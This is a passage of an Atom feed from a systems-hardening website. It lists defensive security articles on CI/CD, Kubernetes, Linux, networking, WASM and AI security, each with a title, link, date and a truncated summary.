    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM Hallucination Detection for Security-Critical Decisions
Problem
Language models are increasingly deployed in security workflows: triaging vulnerability reports, generating remediation playbooks,...</summary>
  </entry>
  
  <entry>
    <title>Branch Protection and Code Review Security at Scale</title>
    <link href="https://www.systemshardening.com/articles/cicd/branch-protection-code-review/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/branch-protection-code-review/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Branch Protection and Code Review Security at Scale
Problem
Code review is the last human gate before code reaches production. Branch protection rules enforce that gate: they prevent direct pushes to...</summary>
  </entry>
  
  <entry>
    <title>Container Build Hardening: BuildKit Secrets, Rootless Builds, and Multi-Stage Security</title>
    <link href="https://www.systemshardening.com/articles/cicd/container-build-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/container-build-hardening/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Container Build Hardening: BuildKit Secrets, Rootless Builds, and Multi-Stage Security
Problem
Container images accumulate security debt during the build process. Common patterns that produce...</summary>
  </entry>
  
  <entry>
    <title>Private Package Registry Security: Dependency Confusion and Namespace Protection</title>
    <link href="https://www.systemshardening.com/articles/cicd/private-package-registry-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/private-package-registry-security/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Private Package Registry Security: Dependency Confusion and Namespace Protection
Problem
In 2021, Alex Birsan demonstrated that publishing a public package with the same name as a private internal...</summary>
  </entry>
  
  <entry>
    <title>Terraform State Security: Remote Backends, Encryption, and Drift Detection</title>
    <link href="https://www.systemshardening.com/articles/cicd/terraform-state-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/terraform-state-security/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Terraform State Security: Remote Backends, Encryption, and Drift Detection
Problem
Terraform state files are a comprehensive map of your infrastructure. Beyond resource IDs and ARNs, they frequently...</summary>
  </entry>
  
  <entry>
    <title>Cloud Security Posture Management: Automated Drift Detection and Compliance</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/cloud-security-posture-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/cloud-security-posture-management/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Cloud Security Posture Management: Automated Drift Detection and Compliance
Problem
Cloud environments misconfigure themselves. Every terraform apply, every console click, every IAM policy attached by...</summary>
  </entry>
  
  <entry>
    <title>Kafka Security Hardening: Authentication, ACLs, Encryption, and Schema Registry</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/kafka-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/kafka-security-hardening/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Kafka Security Hardening: Authentication, ACLs, Encryption, and Schema Registry
Problem
Apache Kafka is deployed at the centre of many production data pipelines: event streaming, change data capture,...</summary>
  </entry>
  
  <entry>
    <title>Security Metrics Program: KPIs, Dashboards, and Board Reporting</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/security-metrics-program/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/security-metrics-program/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Security Metrics Program: KPIs, Dashboards, and Board Reporting
Problem
Security teams are drowning in data but starved for insight. A typical programme generates: vulnerability scanner output, SIEM...</summary>
  </entry>
  
  <entry>
    <title>Third-Party Vendor Security Assessment: Questionnaires, Monitoring, and SLAs</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/vendor-security-assessment/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/vendor-security-assessment/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Third-Party Vendor Security Assessment: Questionnaires, Monitoring, and SLAs
Problem
Third-party vendors — SaaS applications, managed service providers, open-source dependencies, cloud services — are...</summary>
  </entry>
  
  <entry>
    <title>Cilium Network Policy: FQDN Filtering, L7 Policies, and Hubble Observability</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/cilium-network-policy/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/cilium-network-policy/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Cilium Network Policy: FQDN Filtering, L7 Policies, and Hubble Observability
Problem
Standard Kubernetes NetworkPolicy operates at L3/L4: it can restrict which pods can communicate based on label...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes OIDC Authentication and kubectl Access Control</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-oidc-authentication/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-oidc-authentication/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes OIDC Authentication and kubectl Access Control
Problem
Most Kubernetes clusters authenticate human users via static kubeconfig files containing long-lived client certificates. These...</summary>
  </entry>
  
  <entry>
    <title>Kyverno Policy Development and Testing: Validate, Mutate, and Generate</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kyverno-policy-development/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kyverno-policy-development/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kyverno Policy Development and Testing: Validate, Mutate, and Generate
Problem
Kubernetes admission control stops misconfigured workloads at deployment time. Kyverno implements admission control as...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Backup Security with Velero: Encryption, RBAC, and Immutable Storage</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/velero-backup-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/velero-backup-security/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Backup Security with Velero: Encryption, RBAC, and Immutable Storage
Problem
Velero backs up Kubernetes resources and persistent volume data to object storage. A complete backup contains:...</summary>
  </entry>
  
  <entry>
    <title>Linux Kernel Live Patching: kpatch and livepatch for Zero-Day Response</title>
    <link href="https://www.systemshardening.com/articles/linux/kernel-live-patching/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/kernel-live-patching/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Kernel Live Patching: kpatch and livepatch for Zero-Day Response
Problem
Critical kernel vulnerabilities — privilege escalation via nf_tables, use-after-free in io_uring, memory corruption in...</summary>
  </entry>
  
  <entry>
    <title>Linux User Namespace Security: Attack Surface Reduction and Safe Delegation</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-user-namespace-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-user-namespace-security/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux User Namespace Security: Attack Surface Reduction and Safe Delegation
Problem
User namespaces allow an unprivileged process to appear as root within an isolated namespace, mapping its UID/GID to...</summary>
  </entry>
  
  <entry>
    <title>LUKS Disk Encryption with TPM2 Sealing: Measured Boot and Network-Bound Unlock</title>
    <link href="https://www.systemshardening.com/articles/linux/luks-tpm2-sealing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/luks-tpm2-sealing/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>LUKS Disk Encryption with TPM2 Sealing: Measured Boot and Network-Bound Disk Encryption
Problem
LUKS (Linux Unified Key Setup) encrypts block devices at rest. Without key management, LUKS is often...</summary>
  </entry>
  
  <entry>
    <title>Seccomp-BPF for Non-Container Workloads: Syscall Filtering for System Services</title>
    <link href="https://www.systemshardening.com/articles/linux/seccomp-bpf-non-container/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/seccomp-bpf-non-container/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Seccomp-BPF for Non-Container Workloads: Syscall Filtering for System Services
Problem
Every Linux process has access to hundreds of syscalls. A web server needs read, write, accept, send, recv, and a...</summary>
  </entry>
  
  <entry>
    <title>DNS Response Policy Zones: Blocking C2 Domains with Internal Resolver Threat Intelligence</title>
    <link href="https://www.systemshardening.com/articles/network/dns-rpz-threat-intelligence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/dns-rpz-threat-intelligence/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>DNS Response Policy Zones: Blocking C2 Domains with Internal Resolver Threat Intelligence
Problem
Almost every network attack requires DNS. C2 beacons resolve operator domains. Phishing pages have...</summary>
  </entry>
  
  <entry>
    <title>Email Security Hardening: SPF, DKIM, DMARC, and BIMI</title>
    <link href="https://www.systemshardening.com/articles/network/email-security-spf-dkim-dmarc/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/email-security-spf-dkim-dmarc/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Email Security Hardening: SPF, DKIM, DMARC, and BIMI
Problem
Email spoofing is trivial without DNS-based authentication: anyone can send an email claiming to be from your domain. Phishing campaigns,...</summary>
  </entry>
  
  <entry>
    <title>Network Time Security: Authenticated NTP for Infrastructure</title>
    <link href="https://www.systemshardening.com/articles/network/network-time-security-nts/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/network-time-security-nts/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Network Time Security: Authenticated NTP for Infrastructure
Problem
Network Time Protocol (NTP) synchronises system clocks across a network. Without authentication, any on-path attacker can forge NTP...</summary>
  </entry>
  
  <entry>
    <title>SSH Bastion Host and Jump Server Hardening</title>
    <link href="https://www.systemshardening.com/articles/network/ssh-bastion-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ssh-bastion-hardening/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>SSH Bastion Host and Jump Server Hardening
Problem
Direct SSH access to production servers from developer laptops creates a sprawling attack surface: every developer’s SSH key is a potential...</summary>
  </entry>
  
  <entry>
    <title>Application Security Logging: Structured Events, PII Redaction, and SIEM Integration</title>
    <link href="https://www.systemshardening.com/articles/observability/application-security-logging/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/application-security-logging/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Application Security Logging: Structured Events, PII Redaction, and SIEM Integration
Problem
Application logs are the record of what your system did, to whom, and with what result. In a security...</summary>
  </entry>
  
  <entry>
    <title>Cloud Provider Audit Logs: CloudTrail, GCP Audit Logs, and Azure Monitor Hardening</title>
    <link href="https://www.systemshardening.com/articles/observability/cloud-provider-audit-logs/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/cloud-provider-audit-logs/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Cloud Provider Audit Logs: CloudTrail, GCP Audit Logs, and Azure Monitor Hardening
Problem
Cloud providers generate detailed audit logs of every API call: who created the S3 bucket, who assumed the...</summary>
  </entry>
  
  <entry>
    <title>Network Flow Analysis: NetFlow, IPFIX, and eBPF for Traffic Anomaly Detection</title>
    <link href="https://www.systemshardening.com/articles/observability/network-flow-analysis/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/network-flow-analysis/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Network Flow Analysis: NetFlow, IPFIX, and eBPF for Traffic Anomaly Detection
Problem
Packet capture (tcpdump, Wireshark) is too expensive to run continuously on production networks — both in terms of...</summary>
  </entry>
  
  <entry>
    <title>Security Chaos Engineering: Testing Detection and Response Capabilities</title>
    <link href="https://www.systemshardening.com/articles/observability/security-chaos-engineering/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/security-chaos-engineering/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Security Chaos Engineering: Testing Detection and Response Capabilities
Problem
Most security teams build detection rules, configure alerts, and write runbooks — then assume they work. Assumptions are...</summary>
  </entry>
  
  <entry>
    <title>WASM in the Browser: Content Security Policy, Origin Isolation, and Subresource Integrity</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-browser-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-browser-security/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM in the Browser: Content Security Policy, Origin Isolation, and Subresource Integrity
Problem
Server-side WASM security (Wasmtime, Spin, wasmCloud) is about isolating WASM from the host system....</summary>
  </entry>
  
  <entry>
    <title>WASM Debugging Security: Stripping Debug Symbols, Source Maps, and Build Hardening</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-debug-symbol-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-debug-symbol-security/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Debugging Security: Stripping Debug Symbols, Source Maps, and Build Hardening
Problem
WebAssembly binary format (.wasm) is compact and efficient, but it is not obfuscated. A WASM binary produced...</summary>
  </entry>
  
  <entry>
    <title>wasmCloud Security: Actor Authentication, Capability Providers, and Lattice Trust</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmcloud-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmcloud-security/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>wasmCloud Security: Actor Authentication, Capability Providers, and Lattice Trust
Problem
wasmCloud runs WebAssembly actors (components) across a distributed lattice — a cluster of wasmCloud hosts...</summary>
  </entry>
  
  <entry>
    <title>WasmEdge Security: Sandboxing AI Inference, Plugins, and Serverless Functions</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmedge-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmedge-security/</id>
    <published>2026-04-30T00:00:00.000Z</published>
    <updated>2026-04-30T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WasmEdge Security: Sandboxing AI Inference, Plugins, and Serverless Functions
Problem
WasmEdge is a high-performance WebAssembly runtime optimised for edge, serverless, and AI workloads. Its plugin...</summary>
  </entry>
  
  <entry>
    <title>AI Agent Observability and Tracing: OpenTelemetry for Agent Runs and Tool Calls</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-agent-observability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-agent-observability/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Agent Observability and Tracing: OpenTelemetry for Agent Runs and Tool Calls
Problem
A production AI agent’s single run involves:

Multiple model calls (planner, executor, summarizer).
Tool...</summary>
  </entry>
  
  <entry>
    <title>AI Model Output Watermarking: Provenance for Generated Text and Code</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-output-watermarking/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-output-watermarking/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Model Output Watermarking: Provenance for Generated Text and Code
Problem
C2PA signs media files at creation. It works for images and video — the manifest sits in metadata, the signature is...</summary>
  </entry>
  
  <entry>
    <title>Continuous AI Red-Teaming Pipelines: Automated Adversarial Testing in CI</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/continuous-red-teaming/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/continuous-red-teaming/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Continuous AI Red-Teaming Pipelines: Automated Adversarial Testing in CI
Problem
Most AI security investment goes into one-off red-team engagements: a security firm runs adversarial prompts against...</summary>
  </entry>
  
  <entry>
    <title>Multi-Modal Model Attack Surfaces: Vision, Audio, and Cross-Modal Injection</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/multimodal-attack-surfaces/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/multimodal-attack-surfaces/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Multi-Modal Model Attack Surfaces: Vision, Audio, and Cross-Modal Injection
Problem
Security controls for language models — prompt injection detection, output filtering, rate limiting, input...</summary>
  </entry>
  
  <entry>
    <title>Privacy-Preserving ML Inference: Differential Privacy, Confidential Computing, and Training Data Protection</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/privacy-preserving-ml-inference/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/privacy-preserving-ml-inference/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Privacy-Preserving ML Inference: Differential Privacy, Confidential Computing, and Training Data Protection
Problem
ML models memorize training data. The degree varies by model size, data repetition,...</summary>
  </entry>
  
  <entry>
    <title>GitHub Advanced Security: Secret Scanning, CodeQL, and Dependabot at Scale</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-advanced-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-advanced-security/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Advanced Security: Secret Scanning, CodeQL, and Dependabot at Scale
Problem
GitHub Advanced Security (GHAS) bundles three security capabilities into the GitHub platform: secret scanning, code...</summary>
  </entry>
  
  <entry>
    <title>Just-in-Time CI Access for Production Deploys: Approval Flows and Bounded Permissions</title>
    <link href="https://www.systemshardening.com/articles/cicd/jit-ci-access/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/jit-ci-access/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Just-in-Time CI Access for Production Deploys: Approval Flows and Bounded Permissions
Problem
CI / CD pipelines that deploy to production typically have standing access: an IAM role, a Vault token, a...</summary>
  </entry>
  
  <entry>
    <title>Renovate and Dependabot Security Configuration: Auto-Merge Boundaries and Scope Rules</title>
    <link href="https://www.systemshardening.com/articles/cicd/renovate-dependabot-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/renovate-dependabot-security/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Renovate and Dependabot Security Configuration: Auto-Merge Boundaries and Scope Rules
Problem
Dependency-update bots — Renovate, Dependabot — solve a real problem. Without them, dependencies stagnate;...</summary>
  </entry>
  
  <entry>
    <title>GitHub Apps vs PATs vs Deploy Keys vs OIDC: Choosing the Right SCM Identity</title>
    <link href="https://www.systemshardening.com/articles/cicd/scm-identity-choice/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/scm-identity-choice/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Apps vs PATs vs Deploy Keys vs OIDC: Choosing the Right SCM Identity
Problem
Every team integrating with GitHub (or GitLab, with analogous mechanisms) has at least one credential question per...</summary>
  </entry>
  
  <entry>
    <title>Sigstore Keyless Signing and Cosign Verification: Fulcio, Rekor, and Policy Enforcement</title>
    <link href="https://www.systemshardening.com/articles/cicd/sigstore-keyless-signing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/sigstore-keyless-signing/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Sigstore Keyless Signing and Cosign Verification: Fulcio, Rekor, and Policy Enforcement
Problem
Traditional artifact signing requires managing long-lived signing keys: generating them, protecting...</summary>
  </entry>
  
  <entry>
    <title>API Key Lifecycle at Scale: Issuance, Rotation, Scoping, and Audit Across Cloud and SaaS</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/api-key-lifecycle/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/api-key-lifecycle/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>API Key Lifecycle at Scale: Issuance, Rotation, Scoping, and Audit Across Cloud and SaaS
Problem
API keys leak. The 2024 GitGuardian “State of Secrets Sprawl” report found 23+ million secrets exposed...</summary>
  </entry>
  
  <entry>
    <title>Hardware Security Module Integration: Key Management for Production Systems</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/hsm-key-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/hsm-key-management/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Hardware Security Module Integration: Key Management for Production Systems
Problem
Private keys stored in filesystem files, environment variables, Kubernetes Secrets, or application memory have a...</summary>
  </entry>
  
  <entry>
    <title>OAuth 2.0 and OIDC Implementation Hardening: PKCE, Token Rotation, and JWT Validation Pitfalls</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/oauth2-oidc-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/oauth2-oidc-hardening/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>OAuth 2.0 and OIDC Implementation Hardening: PKCE, Token Rotation, and JWT Validation Pitfalls
Problem
OAuth 2.0 and OpenID Connect are the dominant authorization and authentication protocols for web...</summary>
  </entry>
  
  <entry>
    <title>Production Access Management with Teleport and Boundary: Brokered, Recorded, Auditable Access</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/production-access-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/production-access-management/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Production Access Management with Teleport and Boundary: Brokered, Recorded, Auditable Access
Problem
Operator access to production hosts has long been a structural weakness:

Static SSH keys...</summary>
  </entry>
  
  <entry>
    <title>Tabletop Exercises and Chaos Security Drills: Building, Running, and Acting on Findings</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/tabletop-exercises/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/tabletop-exercises/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Tabletop Exercises and Chaos Security Drills: Building, Running, and Acting on Findings
Problem
Real security incidents happen at 3 AM, with incomplete information, in systems people half-remember,...</summary>
  </entry>
  
  <entry>
    <title>cert-manager PKI Hardening: Intermediate CAs, Short-Lived Certificates, and Trust Chain Design</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/cert-manager-pki-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/cert-manager-pki-hardening/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>cert-manager PKI Hardening: Intermediate CAs, Short-Lived Certificates, and Trust Chain Design
Problem
cert-manager automates certificate issuance and renewal in Kubernetes. It solves the operational...</summary>
  </entry>
  
  <entry>
    <title>CSI Driver Security: Volume-Mount Hardening, Privileged Drivers, and Inline Ephemeral Volumes</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/csi-driver-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/csi-driver-security/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>CSI Driver Security: Volume-Mount Hardening, Privileged Drivers, and Inline Ephemeral Volumes
Problem
The Container Storage Interface (CSI) is the standard mechanism for attaching storage to...</summary>
  </entry>
  
  <entry>
    <title>External Secrets Operator: Pulling Secrets from KMS, Vault, and Cloud Stores into Kubernetes</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/external-secrets-operator/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/external-secrets-operator/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>External Secrets Operator: Pulling Secrets from KMS, Vault, and Cloud Stores into Kubernetes
Problem
Native Kubernetes Secrets are convenient and dangerous. They’re base64 strings sitting in etcd;...</summary>
  </entry>
  
  <entry>
    <title>Native Sidecar Containers in Kubernetes 1.29+: Lifecycle, Security, and Mesh Migration</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/native-sidecar-containers/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/native-sidecar-containers/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Native Sidecar Containers in Kubernetes 1.29+: Lifecycle, Security, and Mesh Migration
Problem
The classic sidecar pattern — a container in the same Pod as the application that handles cross-cutting...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes RuntimeClass: gVisor and Kata Containers for Production Workload Isolation</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/runtimeclass-gvisor-kata/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/runtimeclass-gvisor-kata/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes RuntimeClass: gVisor and Kata Containers for Production Workload Isolation
Problem
Standard container isolation relies on Linux namespaces and cgroups. The container shares the host kernel:...</summary>
  </entry>
  
  <entry>
    <title>dm-verity and dm-integrity: Tamper-Evident Block-Level Roots for Production Linux</title>
    <link href="https://www.systemshardening.com/articles/linux/dm-verity/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/dm-verity/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>dm-verity and dm-integrity: Tamper-Evident Block-Level Roots for Production Linux
Problem
Filesystem-level integrity (auditd, AIDE, Tripwire) is too late. A check that runs after boot has already let...</summary>
  </entry>
  
  <entry>
    <title>eBPF-LSM (lsm_bpf): Kernel Security Policy as Hot-Loadable BPF Programs</title>
    <link href="https://www.systemshardening.com/articles/linux/ebpf-lsm/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/ebpf-lsm/</id>
    <published>2026-04-29T00:00:00.000Z</published>
    <updated>2026-04-29T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>eBPF-LSM (lsm_bpf): Kernel Security Policy as Hot-Loadable BPF Programs
Problem
Linux Security Modules (LSMs) — AppArmor, SELinux, Smack — define security policy at kernel hooks: every file open,...</summary>
  </entry>
  
  <entry>
    <title>Linux Capability Hardening: Dropping Privileges from Daemons and Services</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-capability-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-capability-hardening/</id>
    <published>2026-04-29T00:00:00.000Z</published>
